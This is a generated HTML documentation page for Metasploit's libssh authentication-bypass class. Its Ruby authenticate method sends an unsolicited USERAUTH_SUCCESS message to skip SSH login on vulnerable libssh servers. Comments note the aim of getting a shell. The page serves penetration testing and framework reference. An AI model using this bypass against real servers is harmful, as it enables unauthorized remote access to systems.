242 lines
7.3 KiB
HTML
242 lines
7.3 KiB
HTML
|
<!DOCTYPE html>
|
||
|
|
<html>
|
||
|
|
<head>
|
||
|
|
<meta charset="utf-8">
|
||
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||
|
|
<title>
|
||
|
|
Class: Net::SSH::Authentication::Methods::LibsshAuthBypass
|
||
|
|
|
||
|
|
— Documentation by YARD 0.9.37
|
||
|
|
|
||
|
|
</title>
|
||
|
|
|
||
|
|
<link rel="stylesheet" href="../../../../css/style.css" type="text/css" />
|
||
|
|
|
||
|
|
<link rel="stylesheet" href="../../../../css/common.css" type="text/css" />
|
||
|
|
|
||
|
|
<script type="text/javascript">
|
||
|
|
pathId = "Net::SSH::Authentication::Methods::LibsshAuthBypass";
|
||
|
|
relpath = '../../../../';
|
||
|
|
</script>
|
||
|
|
|
||
|
|
|
||
|
|
<script type="text/javascript" charset="utf-8" src="../../../../js/jquery.js"></script>
|
||
|
|
|
||
|
|
<script type="text/javascript" charset="utf-8" src="../../../../js/app.js"></script>
|
||
|
|
|
||
|
|
|
||
|
|
</head>
|
||
|
|
<body>
|
||
|
|
<div class="nav_wrap">
|
||
|
|
<iframe id="nav" src="../../../../class_list.html?1"></iframe>
|
||
|
|
<div id="resizer"></div>
|
||
|
|
</div>
|
||
|
|
|
||
|
|
<div id="main" tabindex="-1">
|
||
|
|
<div id="header">
|
||
|
|
<div id="menu">
|
||
|
|
|
||
|
|
<a href="../../../../_index.html">Index (L)</a> »
|
||
|
|
<span class='title'><span class='object_link'><a href="../../../../Msf.html" title="Msf (module)">Msf</a></span></span> » <span class='title'><span class='object_link'><a href="../../../../Msf/Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span> » <span class='title'><span class='object_link'><a href="../../../../Msf/Exploit/Remote.html" title="Msf::Exploit::Remote (class)">Remote</a></span></span> » <span class='title'><span class='object_link'><a href="../../../../Msf/Exploit/Remote/SSH.html" title="Msf::Exploit::Remote::SSH (module)">SSH</a></span></span> » <span class='title'><span class='object_link'><a href="../../../../Msf/Exploit/Remote/SSH/AuthMethods.html" title="Msf::Exploit::Remote::SSH::AuthMethods (module)">AuthMethods</a></span></span> » <span class='title'><span class='object_link'><a href="../../../../Msf/Exploit/Remote/SSH/AuthMethods/LibsshAuthBypass.html" title="Msf::Exploit::Remote::SSH::AuthMethods::LibsshAuthBypass (module)">LibsshAuthBypass</a></span></span> » <span class='title'>Net</span> » <span class='title'>SSH</span> » <span class='title'>Authentication</span> » <span class='title'>Methods</span>
|
||
|
|
»
|
||
|
|
<span class="title">LibsshAuthBypass</span>
|
||
|
|
|
||
|
|
</div>
|
||
|
|
|
||
|
|
<div id="search">
|
||
|
|
|
||
|
|
<a class="full_list_link" id="class_list_link"
|
||
|
|
href="../../../../class_list.html">
|
||
|
|
|
||
|
|
<svg width="24" height="24">
|
||
|
|
<rect x="0" y="4" width="24" height="4" rx="1" ry="1"></rect>
|
||
|
|
<rect x="0" y="12" width="24" height="4" rx="1" ry="1"></rect>
|
||
|
|
<rect x="0" y="20" width="24" height="4" rx="1" ry="1"></rect>
|
||
|
|
</svg>
|
||
|
|
</a>
|
||
|
|
|
||
|
|
</div>
|
||
|
|
<div class="clear"></div>
|
||
|
|
</div>
|
||
|
|
|
||
|
|
<div id="content"><h1>Class: Net::SSH::Authentication::Methods::LibsshAuthBypass
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
</h1>
|
||
|
|
<div class="box_info">
|
||
|
|
|
||
|
|
<dl>
|
||
|
|
<dt>Inherits:</dt>
|
||
|
|
<dd>
|
||
|
|
<span class="inheritName">Abstract</span>
|
||
|
|
|
||
|
|
<ul class="fullTree">
|
||
|
|
<li>Object</li>
|
||
|
|
|
||
|
|
<li class="next">Abstract</li>
|
||
|
|
|
||
|
|
<li class="next">Net::SSH::Authentication::Methods::LibsshAuthBypass</li>
|
||
|
|
|
||
|
|
</ul>
|
||
|
|
<a href="#" class="inheritanceTree">show all</a>
|
||
|
|
|
||
|
|
</dd>
|
||
|
|
</dl>
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
<dl>
|
||
|
|
<dt>Defined in:</dt>
|
||
|
|
<dd>lib/msf/core/exploit/remote/ssh/auth_methods/libssh_auth_bypass.rb</dd>
|
||
|
|
</dl>
|
||
|
|
|
||
|
|
</div>
|
||
|
|
|
||
|
|
<h2>Overview</h2><div class="docstring">
|
||
|
|
<div class="discussion">
|
||
|
|
|
||
|
|
<p><a href="https://tools.ietf.org/rfc/rfc4252.txt">tools.ietf.org/rfc/rfc4252.txt</a></p>
|
||
|
|
|
||
|
|
|
||
|
|
</div>
|
||
|
|
</div>
|
||
|
|
<div class="tags">
|
||
|
|
|
||
|
|
|
||
|
|
</div>
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
<h2>
|
||
|
|
Instance Method Summary
|
||
|
|
<small><a href="#" class="summary_toggle">collapse</a></small>
|
||
|
|
</h2>
|
||
|
|
|
||
|
|
<ul class="summary">
|
||
|
|
|
||
|
|
<li class="public ">
|
||
|
|
<span class="summary_signature">
|
||
|
|
|
||
|
|
<a href="#authenticate-instance_method" title="#authenticate (instance method)">#<strong>authenticate</strong>(service_name, username, password = nil) ⇒ Object </a>
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
</span>
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
<span class="summary_desc"><div class='inline'></div></span>
|
||
|
|
|
||
|
|
</li>
|
||
|
|
|
||
|
|
|
||
|
|
</ul>
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
<div id="instance_method_details" class="method_details_list">
|
||
|
|
<h2>Instance Method Details</h2>
|
||
|
|
|
||
|
|
|
||
|
|
<div class="method_details first">
|
||
|
|
<h3 class="signature first" id="authenticate-instance_method">
|
||
|
|
|
||
|
|
#<strong>authenticate</strong>(service_name, username, password = nil) ⇒ <tt>Object</tt>
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
</h3><table class="source_code">
|
||
|
|
<tr>
|
||
|
|
<td>
|
||
|
|
<pre class="lines">
|
||
|
|
|
||
|
|
|
||
|
|
11
|
||
|
|
12
|
||
|
|
13
|
||
|
|
14
|
||
|
|
15
|
||
|
|
16
|
||
|
|
17
|
||
|
|
18
|
||
|
|
19
|
||
|
|
20
|
||
|
|
21
|
||
|
|
22
|
||
|
|
23
|
||
|
|
24
|
||
|
|
25
|
||
|
|
26
|
||
|
|
27
|
||
|
|
28
|
||
|
|
29
|
||
|
|
30
|
||
|
|
31
|
||
|
|
32</pre>
|
||
|
|
</td>
|
||
|
|
<td>
|
||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/ssh/auth_methods/libssh_auth_bypass.rb', line 11</span>
|
||
|
|
|
||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_authenticate'>authenticate</span><span class='lparen'>(</span><span class='id identifier rubyid_service_name'>service_name</span><span class='comma'>,</span> <span class='id identifier rubyid_username'>username</span><span class='comma'>,</span> <span class='id identifier rubyid_password'>password</span> <span class='op'>=</span> <span class='kw'>nil</span><span class='rparen'>)</span>
|
||
|
|
<span class='id identifier rubyid_debug'>debug</span> <span class='lbrace'>{</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Sending SSH_MSG_USERAUTH_SUCCESS</span><span class='tstring_end'>'</span></span> <span class='rbrace'>}</span>
|
||
|
|
|
||
|
|
<span class='comment'># USERAUTH_SUCCESS is OOB and elicits no reply
|
||
|
|
</span> <span class='id identifier rubyid_send_message'>send_message</span><span class='lparen'>(</span><span class='const'>Net</span><span class='op'>::</span><span class='const'>SSH</span><span class='op'>::</span><span class='const'>Buffer</span><span class='period'>.</span><span class='id identifier rubyid_from'>from</span><span class='lparen'>(</span>
|
||
|
|
<span class='embdoc_beg'>=begin
|
||
|
|
</span><span class='embdoc'> byte SSH_MSG_USERAUTH_SUCCESS
|
||
|
|
</span><span class='embdoc_end'>=end
|
||
|
|
</span> <span class='symbol'>:byte</span><span class='comma'>,</span> <span class='const'>USERAUTH_SUCCESS</span>
|
||
|
|
<span class='rparen'>)</span><span class='rparen'>)</span>
|
||
|
|
|
||
|
|
<span class='comment'># We can't fingerprint or otherwise reduce false positives using a session
|
||
|
|
</span> <span class='comment'># channel open, since most implementations I've seen support only one
|
||
|
|
</span> <span class='comment'># session channel and don't support channel closing, so this would block
|
||
|
|
</span> <span class='comment'># us from getting a shell
|
||
|
|
</span> <span class='comment'>#
|
||
|
|
</span> <span class='comment'># Secondly, libssh doesn't send a CHANNEL_OPEN_FAILURE when we're not
|
||
|
|
</span> <span class='comment'># authed, so we have to wait for a timeout on CHANNEL_OPEN to return false
|
||
|
|
</span>
|
||
|
|
<span class='comment'># So assume we succeeded until we can verify
|
||
|
|
</span> <span class='kw'>true</span>
|
||
|
|
<span class='kw'>end</span></pre>
|
||
|
|
</td>
|
||
|
|
</tr>
|
||
|
|
</table>
|
||
|
|
</div>
|
||
|
|
|
||
|
|
</div>
|
||
|
|
|
||
|
|
</div>
|
||
|
|
|
||
|
|
<div id="footer">
|
||
|
|
Generated on Fri May 8 17:03:55 2026 by
|
||
|
|
<a href="https://yardoc.org" title="Yay! A Ruby Documentation Tool" target="_parent">yard</a>
|
||
|
|
0.9.37 (ruby-3.1.5).
|
||
|
|
</div>
|
||
|
|
|
||
|
|
</div>
|
||
|
|
</body>
|
||
|
|
</html>
|